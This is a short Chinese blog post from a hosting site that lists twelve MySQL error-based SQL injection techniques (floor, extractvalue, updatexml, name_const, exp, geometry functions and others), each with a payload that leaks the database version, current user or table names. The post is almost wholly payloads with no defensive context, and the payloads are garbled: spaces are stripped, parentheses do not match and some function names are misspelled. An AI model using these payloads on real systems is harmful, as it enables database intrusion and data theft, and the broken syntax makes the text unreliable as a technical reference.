Linux 拨号vps windows公众号手机端

sql注入报错方式有哪些

lewis 7年前 (2018-11-19) 阅读数 9 #VPS/云服务器
文章标签 sql注入

sql注入报错方式有12种,分别是:

1、通过floor报错,注入语句如下:

andselect1from(selectcount(*),concat(version(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a);

2、通过ExtractValue报错,注入语句如下:

andextractvalue(1,concat(0x5c,(selecttable_namefrominformation_schema.tableslimit1)));

3、通过UpdateXml报错,注入语句如下:

and1=(updatexml(1,concat(0x3a,(selectuser())),1))

4、通过NAME_CONST报错,注入语句如下:

andexists(select*from(select*from(selectname_const(@@version,0))ajoin(selectname_const(@@version,0))b)c)

5、通过join报错,注入语句如下:

select*from(select*frommysql.userajoinmysql.userb)c;

6、通过exp报错,注入语句如下:

andexp(~(select*from(selectuser())a));

7、通过GeometryCollection()报错,注入语句如下:

andGeometryCollection(()select*from(selectuser())a)b);

8、通过polygon ()报错,注入语句如下:

andpolygon(()select*from(selectuser())a)b);

9、通过multipoint ()报错,注入语句如下:

andmultipoint(()select*from(selectuser())a)b);

10、通过multlinestring ()报错,注入语句如下:

andmultlinestring(()select*from(selectuser())a)b);

11、通过multpolygon ()报错,注入语句如下:

andmultpolygon(()select*from(selectuser())a)b);

12、通过linestring ()报错,注入语句如下:

andlinestring(()select*from(selectuser())a)b);

版权声明

本文仅代表作者观点,不代表米安网络立场。

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

热门